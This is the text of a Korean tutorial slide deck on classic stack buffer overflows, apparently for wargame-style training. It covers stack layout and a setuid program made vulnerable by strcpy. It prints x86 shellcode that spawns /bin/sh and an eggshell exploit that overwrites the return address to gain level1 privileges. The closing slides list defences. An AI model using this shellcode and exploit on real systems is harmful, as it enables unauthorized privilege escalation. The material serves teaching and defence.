Basic of Buffer Over Flow S.S.G 방승원
Agenda Introduction Memory Structure Stack Structure while Example Target Program Ready & Attack Attack & Security Application of Overflow
Introduction Overflow ?? Buffer Over Flow ?? 넘치다, 넘쳐 흐르다;범람하다; <용기 등이> 가득 차다, 넘치다 Buffer Over Flow ?? 정해진 메모리보다 많은 데이터를 입력 받아 특정 영역을 덮음으로써 프로그램 흐름을 바꿔 공격자가 원하는 코드를 실행하는 공격 <Phrack Magazine 49-14>, Aleph One
Memory Structure TEXT : TEXT Program Code DATA : Static Variable LOW TEXT TEXT : Program Code DATA : Static Variable Global Variable HEAP : Dynamic Allocation STACK Dynamic Varbiable Local Variable DATA HEAP STACK HIGH
Stack Structure LIFO(Last In First Out) PUSH POP STACK Memory LOW (0x08048000) Stack HIGH STACK LIFO(Last In First Out) PUSH POP SP(Stack Pointer) BP(Base Pointer) PUSH POP C B Memory HIGH (0xbfffffff) A Stack LOW SP BP
Example Program #include <stdio.h> void func(int a, int b, int c) { int buf1; char buf2[16]; } void main() func(1, 2, 3); printf(“Hello, World!\n”);
Example Program STACK #include <stdio.h> Memory LOW (0x08048000) Stack HIGH STACK buf2 #include <stdio.h> void func(int a, int b, int c) { int buf1; char buf2[16]; } void main() func(1, 2, 3); printf(“Hello, World!\n”); buf1 Stack Frame Pointer Return Address 1 2 Memory HIGH (0xbfffffff) 3 Stack LOW ESP EBP
Example Program STACK main: pushl $3 pushl $2 pushl $1 call func ESP Memory LOW (0x08048000) Stack HIGH STACK buf2 main: pushl $3 pushl $2 pushl $1 call func addl $16, %esp func: pushl %ebp movl %esp, %ebp subl $40, %esp leave (pop %ebp ret buf1 Dummy EBP Stack Frame Pointer Return Address 1 2 Memory HIGH (0xbfffffff) 3 Stack LOW
Target Program #include <stdio.h> #include <string.h> void func(char *str) { char buf[64]; strcpy(buf, str); } void main(int argc, char *argv[]) func(argv[1]); printf(“Hello, World\n”); argc, argv 프로그램을 실행 할 때 인자를 입력받는 방법 ex) ./target bang 1234 argv = 3; argv[0] = “target”; argv[1] = “bang”; argv[2] = “1234”; strcpy(dest, src) src가 가르키는 문자열을 dest로 복사 * 크기 제한이 없어 overflow 취약점 발생
Target Program Setuid Bit 가 걸려있음 Set User ID Bit(number – 4000) $ chmod 4755 target (or chmod u+s) -rwsr-xr-x 1 level1 level1 target 어떤 사용자든지 이 target을 실행할 땐 level1 유저권한을 갖게 됨 ex) passwd Redhat 9.0, Kernel 2.4.32, gcc 3.2.2-5
Target Program Let’s Run program With a lot of ‘A’ Character!!! Result : Segmentation Fault Why??
Target Program ESP Memory LOW (0x08048000) Stack HIGH STACK buf #include <stdio.h> #include <string.h> void func(char *str) { char buf[64]; strcpy(buf, str); } void main(int argc, char *argv[]) func(argv[1]); printf(“Hello, World\n”); Dummy EBP SFP RET Memory HIGH (0xbfffffff) str = argv[1] Stack LOW
Target Program STACK $ ./target `perl -e 'print "A"x71'` Normal Memory HIGH Memory LOW $ ./target `perl -e 'print "A"x71'` 64 Bytes 8 Bytes 4 Bytes 4 Bytes 4 Bytes STACK buf Dummy SFP RET str = argv[1] [ AAAAAAAAAAAAAAAAAAAAAAAAAAA\0 ][ BBFFFFBF ][ BBFFFF08 ][ BBFFFFBB ] Stack LOW Stack HIGH Normal
Target Program STACK $ ./target `perl -e 'print "A"x72'` Overflow Memory HIGH Memory LOW $ ./target `perl -e 'print "A"x72'` 64 Bytes 8 Bytes 4 Bytes 4 Bytes 4 Bytes STACK buf Dummy SFP RET str = argv[1] [ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA ][ 00FFFFBF ][ BBFFFF08 ][ BBFFFFBB ] Stack LOW Stack HIGH Overflow
Target Program STACK $ ./target `perl -e 'print "A"x80'` Real Overflow Memory HIGH Memory LOW $ ./target `perl -e 'print "A"x80'` 64 Bytes 8 Bytes 4 Bytes 4 Bytes 4 Bytes STACK buf Dummy SFP RET str = argv[1] [ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA ][ AAAA ][ AAAA ][ BBFFFFBB ] Stack LOW Stack HIGH Real Overflow
Target Program STACK Memory LOW Stack HIGH A Dummy SFP [ BFFFFFBF ] SP Memory LOW (0x08048000) Stack HIGH func: pushl %ebp movl %esp, %ebp subl $72, %esp subl $8, %esp pushl 8(%ebp) leal -72(%ebp), %eax pushl %eax call strcpy addl $16, %esp leave ret main: movl 12(%ebp), %eax addl $4, %eax pushl (%eax) call func subl $12, %esp STACK A Dummy E BP SFP [ BFFFFFBF ] RET [ BBFFFF08 ] Memory HIGH (0xbfffffff) str Stack LOW
Target Program STACK Memory LOW Stack HIGH A Dummy [ AAAA ] SP Memory LOW (0x08048000) Stack HIGH func: pushl %ebp movl %esp, %ebp subl $72, %esp subl $8, %esp pushl 8(%ebp) leal -72(%ebp), %eax pushl %eax call strcpy addl $16, %esp leave ret main: movl 12(%ebp), %eax addl $4, %eax pushl (%eax) call func subl $12, %esp STACK A 0x41414141(??) Dummy [ AAAA ] E BP SFP [ AAAA ] RET [ AAAA ] Memory HIGH (0xbfffffff) str Stack LOW
Shell Code 쉘을 실행해주는 코드 #include <unistd.h> void main() { char *shell[2]; setreuid(3001, 3001); shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } 어셈코드 "\x31\xc0\x31\xdb\x31\xc9\x66\xbb” “\xb9\x0b\x66\xb9\xb9\x0b\xb0\x46” “\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88” ”\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3” ”\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31” ”\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
Attack Ready Segmentation Fault 확인 쉘코드 제작 쉘코드를 버퍼에다 넣었을 때, 그 버퍼의 주소를 찾아야 됨 But, 버퍼의 주소를 추측하기가 어려움 그러므로 쉘 환경 변수에 쉘코드를 넣어서 사용하여 쉘코드의 주소를 계산해 주는 Eggshell 사용
Attack bash-2.05b$ ./egg 512 200 Using address: 0xbffffa60 bash-2.05b$ ./target `perl -e 'print "A"x76';(printf "\x60\xfa\xff\xbf")` sh-2.05b$ id uid=3001(level1) gid=1000(guest) groups=1000(guest) sh-2.05b$
Attack V.S Security Non-executable Stack Return Into Libc Omega Project Stack Guard and Stack Shield Bypass Stack Guard and Stack Shield Random Stacks Exec Shield(커널수준) Exec Shield 회피 strcpy(), strcat(), gets(), fscanf(), scanf(), sprintf() 등 사용 자제 -> strncpy() strncat() 사용 And so on………
Application of Overflow Windows, Unix, Linux, Mac Local, Remote Web -> ActiveX Heap Overflow Integer Overflow Frame Pointer Overwrite